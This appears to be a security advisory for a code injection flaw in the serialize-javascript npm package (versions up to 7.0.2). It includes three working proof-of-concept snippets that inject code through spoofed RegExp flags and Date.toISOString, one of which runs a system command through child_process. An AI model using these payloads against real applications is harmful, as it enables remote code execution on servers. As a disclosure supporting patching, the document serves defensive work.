Vulnerability details
Vulnerability
Data from Dependency-Track
Affected versions
Score
Description
### Impact
The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.
While `RegExp.source` is sanitized, `RegExp.flags` is interpolated directly into the generated output without escaping. A similar issue exists in `Date.prototype.toISOString()`.
If an attacker can control the input object passed to `serialize()`, they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via `eval`, `new Function`, or `<script>` tags), the injected code executes.
```javascript
const serialize = require('serialize-javascript');
// Create an object that passes instanceof RegExp with a spoofed .flags
const fakeRegex = Object.create(RegExp.prototype);
Object.defineProperty(fakeRegex, 'source', { get: () => 'x' });
Object.defineProperty(fakeRegex, 'flags', {
get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"'
});
fakeRegex.toJSON = function() { return '@placeholder'; };
const output = serialize({ re: fakeRegex });
// Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")}
let obj;
eval('obj = ' + output);
console.log(global.PWNED); // "CODE_INJECTION_VIA_FLAGS" — injected code executed!
#h2. PoC 2: Code Injection via Date.toISOString()
```
```javascript
const serialize = require('serialize-javascript');
const fakeDate = Object.create(Date.prototype);
fakeDate.toISOString = function() { return '"+(global.DATE_PWNED="DATE_INJECTION")+"'; };
fakeDate.toJSON = function() { return '2024-01-01'; };
const output = serialize({ d: fakeDate });
// Output: {"d":new Date(""+(global.DATE_PWNED="DATE_INJECTION")+"")}
eval('obj = ' + output);
console.log(global.DATE_PWNED); // "DATE_INJECTION" — injected code executed!
#h2. PoC 3: Remote Code Execution
```
```javascript
const serialize = require('serialize-javascript');
const rceRegex = Object.create(RegExp.prototype);
Object.defineProperty(rceRegex, 'source', { get: () => 'x' });
Object.defineProperty(rceRegex, 'flags', {
get: () => '"+require("child_process").execSync("id").toString()+"'
});
rceRegex.toJSON = function() { return '@rce'; };
const output = serialize({ re: rceRegex });
// Output: {"re":new RegExp("x", ""+require("child_process").execSync("id").toString()+"")}
// When eval'd on a Node.js server, executes the "id" system command
```
### Patches
The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3